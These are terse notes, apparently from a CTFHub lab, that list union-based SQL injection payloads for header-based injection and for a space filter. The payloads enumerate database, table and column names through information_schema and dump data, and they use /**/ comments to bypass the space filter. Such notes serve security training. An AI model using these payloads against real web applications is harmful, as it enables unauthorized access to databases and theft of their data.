ctfhub UA头注入，refer，过滤空格

-1 union select 1,database()

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='yubnplylgm'

id=-1 union select 1,group_concat(wpmkedsftj) from yubnplylgm

-1 union select 1,database()

txstgbmsvi

tmpyxmmzgm

-1/**/union/**/select/**/1,database()#

-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#

-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='smzyxjpafb'#

-1/**/union/**/select/**/1,group_concat(ygxdrtrbrz)/**/from/**/smzyxjpafb#